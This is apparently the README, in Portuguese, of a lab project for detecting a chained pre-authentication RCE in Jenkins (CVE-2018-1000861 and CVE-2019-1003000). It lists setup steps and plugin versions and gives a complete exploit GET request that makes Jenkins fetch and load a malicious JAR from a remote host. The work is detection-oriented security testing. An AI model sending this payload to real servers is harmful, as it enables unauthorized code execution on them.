CVE-2019-1003000_RCE-DETECTION

Resumo Geral

Combinando a vulnerabilidade CVE-2018-1000861 com CVE-2019-1003000, criei um módulo para testar um RCE pré-autenticação no Jenkins CI. Inicialmente, tentei detectar a vulnerabilidade com nome de usuário, senha e nome do job; no entanto, pensei que seria mais realista e interessante abordar este desafio combinando as duas vulnerabilidades.

Pré-requisitos

Tenha o Visual Studio ou o framework .NET Core instalado em sua máquina Windows, Linux ou macOS.

Configuração do Ambiente (Como eu fiz)

1. Primeiro, obtive a versão especificada do Docker (a partir das instruções do desafio) do DockerHub: docker pull jenkins/jenkins:2.121
2. Em seguida, escrevi um script bash (encontrado neste repositório) para iniciar um novo container Docker executando o servidor Jenkins vulnerável e o montei por bind na máquina local
   • Usuário Admin
     • nome de usuário - Naruto
     • Senha - Uzumaki
     • Nome - Naruto
3. Em seguida, naveguei até plugins.index.io para encontrar versões específicas de plugins para instalar no Jenkins
   • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
   • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
   • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
   • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
     • Após instalar os plugins, navegue até a seção 'Avançado' em 'Gerenciar plugins' e limpe o campo 'Site de Atualização' e salve para que ele não atualize automaticamente ao reiniciar

Execução (Como você deve instalar e executar)

1. Navegue até o diretório payload e execute mvDir.sh
   • Execute como ./mvDir.sh
     • Ele já deve estar marcado como executável, se não, execute chmod +x mvDir.sh. Se ainda assim não funcionar, você pode executá-lo como bash mvDir.sh
     • Este comando moverá o diretório que contém o jar malicioso para a raiz do computador, que é onde a requisição GET irá procurar o arquivo jar especificado na requisição maliciosa
2. Navegue até jenkins_environment e execute ./run_vuln_jenkins.sh
   • Siga as instruções acima se o comando acima não funcionar.
   • Este script bash executará o container Docker que está hospedando o servidor Jenkins vulnerável (em http://localhost:8080)
   • Além disso, executar ./run_updated_jenkins.sh ou bash run_updated_jenkins.sh iniciará um servidor Jenkins seguro e atualizado rodando em http://localhost:8000 e executar o módulo contra ele mostrará que está seguro e não vulnerável à cadeia CVE-2018-1000861 e CVE-2019-1003000.
3. Navegue até exploit-detection-code/jenkins-server-rce/
   • Este projeto foi construído usando o framework .NET Core. Para executar, primeiro execute o comando

Considerações

O planejamento inicial que eu havia feito foi um bom framework de como eu abordaria a solução; no entanto, ao executá-lo, descobri que estava tornando muito do trabalho mais complicado do que precisava. Inicialmente criei um script bash para iniciar um reverse shell na minha máquina host para provar o RCE. Porém, o objetivo deste desafio era provar que a vulnerabilidade existia. Neste caso, era provar que o RCE poderia ser executado no Jenkins versão 2.121.2 com os seguintes plugins: Pipeline: Declarative Plugin 1.3.4, Pipeline: Declarative Extension Points API 1.3.4, Pipeline: Groovy Plugin 2.61, Script Security Plugin 1.49.

Eu não precisei realmente criar um reverse shell e mostrar que posso executar comandos arbitrários. Por causa disso, fica mais fácil detectar tanto no Windows quanto em sistemas operacionais baseados em .nix. Após fazer a requisição GET, descobri que a página responderá com um status marcado como sucesso ou imprimirá uma mensagem de erro. No entanto, para garantir que o status de sucesso não era um falso positivo, configurei um servidor web no meu host usando python -m SimpleHTTPSever 80 e, ao lançar a requisição GET personalizada para o arquivo JAR malicioso especificado (que pode ser encontrado na pasta payload), pode-se ver que a requisição GET responde com um código de status 200 com o caminho correto para o arquivo jar encontrado na máquina local, provando que a vulnerabilidade existe. Abaixo está um exemplo da requisição GET e a resposta correspondente. Os diferentes caminhos de arquivos (tw/ e www/) cada um contém o jar malicioso; são apenas caminhos diferentes que a requisição navega para encontrá-lo.

Requisição GET

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

Fontes Utilizadas

• https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
• https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
• https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/